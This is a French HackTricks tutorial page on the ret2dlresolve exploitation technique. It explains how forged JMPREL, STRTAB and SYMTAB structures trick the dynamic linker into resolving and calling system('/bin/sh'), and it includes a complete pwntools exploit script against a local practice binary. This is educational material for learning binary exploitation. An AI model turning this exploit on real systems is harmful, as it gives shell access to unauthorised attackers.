Ret2dlresolve

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Informations de base

Comme expliqué dans la page sur GOT/PLT et Relro, les binaires sans Full Relro résoudront les symboles (comme les adresses vers des bibliothèques externes) la première fois qu'ils sont utilisés. Cette résolution se produit en appelant la fonction _dl_runtime_resolve.

La fonction _dl_runtime_resolve récupère des références à partir de la pile vers certaines structures dont elle a besoin pour résoudre le symbole spécifié.

Par conséquent, il est possible de fausser toutes ces structures pour que la résolution dynamique des liens résolve le symbole demandé (comme la fonction system) et l'appelle avec un paramètre configuré (par exemple system('/bin/sh')).

Généralement, toutes ces structures sont falsifiées en créant une chaîne ROP initiale qui appelle read sur une mémoire inscriptible, puis les structures et la chaîne '/bin/sh' sont transmises pour qu'elles soient stockées par read dans un emplacement connu, puis la chaîne ROP continue en appelant _dl_runtime_resolve avec l'adresse de $'/bin/sh'.

Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que ret2syscall ou SROP) et s'il n'y a pas de moyens de divulguer les adresses libc.

Vous pouvez trouver une meilleure explication sur cette technique dans la deuxième moitié de la vidéo :

Structures

Il est nécessaire de falsifier 3 structures : JMPREL, STRTAB et SYMTAB. Vous trouverez une meilleure explication sur la construction de ces structures dans https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Résumé de l'attaque

  1. Écrire de fausses structures à un endroit

  2. Définir le premier argument de system ($rdi = &'/bin/sh')

  3. Définir sur la pile les adresses des structures pour appeler _dl_runtime_resolve

  4. Appeler _dl_runtime_resolve

  5. system sera résolu et appelé avec '/bin/sh' comme argument

Exemple

Vous pouvez trouver un exemple de cette technique ici contenant une très bonne explication de la chaîne ROP finale, mais voici l'exploit final utilisé:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour